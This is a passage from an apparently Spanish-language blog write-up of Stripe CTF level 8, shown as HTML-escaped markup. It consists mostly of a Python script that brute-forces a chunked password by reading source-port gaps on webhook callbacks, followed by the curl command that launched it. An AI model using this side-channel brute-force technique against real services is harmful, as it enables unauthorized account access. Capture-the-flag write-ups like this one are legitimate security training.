&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;client_address&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; lastPort &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Password incorrecta&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;cont&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;elif&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; len&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Password: &quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; str&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; os&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;_exit&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Diferencia erronea&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; lastPort &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;client_address&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; rangoVal
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cont &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; cont &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; cont &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; len&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;):&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cont &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; httplib&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;HTTPConnection&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;srv8&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; passwd &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; str&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;rangoVal&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;cont&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]).&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;zfill&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;000000000&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;Password?: &quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; passwd
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;request&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;/user-veyrdiujkx&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;{&quot;password&quot;: &quot;&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; passwd &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;&quot;, &quot;webhooks&quot;: [&quot;&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;srv2&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;:43278&quot;] }&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;0.2&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; c&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; main&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;():&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; srv &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;HTTPServer&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;0.0.0.0&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;lit&quot; style=&quot;color: #006666;&quot;&gt;43278&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;Manejador&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;WebHook:&amp;nbsp; :43278&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; srv&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;serve_forever&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;except&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;typ&quot; style=&quot;color: #660066;&quot;&gt;KeyboardInterrupt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; srv&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; __name__ &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;__main__&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; main&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;En la descripción nos indicaban que se tenía acceso por ssh al servidor del nivel 2, por lo que se utilizó para ejecutar el código. El script queda esperando a una primera petición, por lo que mediante curl se realizó la petición:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;curl https&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;com&quot; style=&quot;color: #880000;&quot;&gt;//level08-2.stripe-ctf.com/user-veyrdiujkx/ -d &#39;{&quot;password&quot;: &quot;000000000000&quot;, &quot;webhooks&quot;: [&quot;http://level02-2.stripe-ctf.com:43278&quot;]}&#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Hay soluciones mucho más eficientes, pero dado que tenía poco tiempo busqué la forma más rápida de codificar algo que funcionara y me diese la solución. De hecho hubo hasta un nivel extra no-oficial para ver quien sacaba la password más rápido con su script.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Si os interesan otras soluciones al nivel 8, en la siguiente web hay un listado:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0AqPyYgZlFopxdHBYSjJyY1V3dFdUN1hvMVB5cUU0Nnc#gid=0&quot; style=&quot;background-color: white; color: #2970a6; font-family: Arial; font-size: 14px; line-height: 22.390625px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 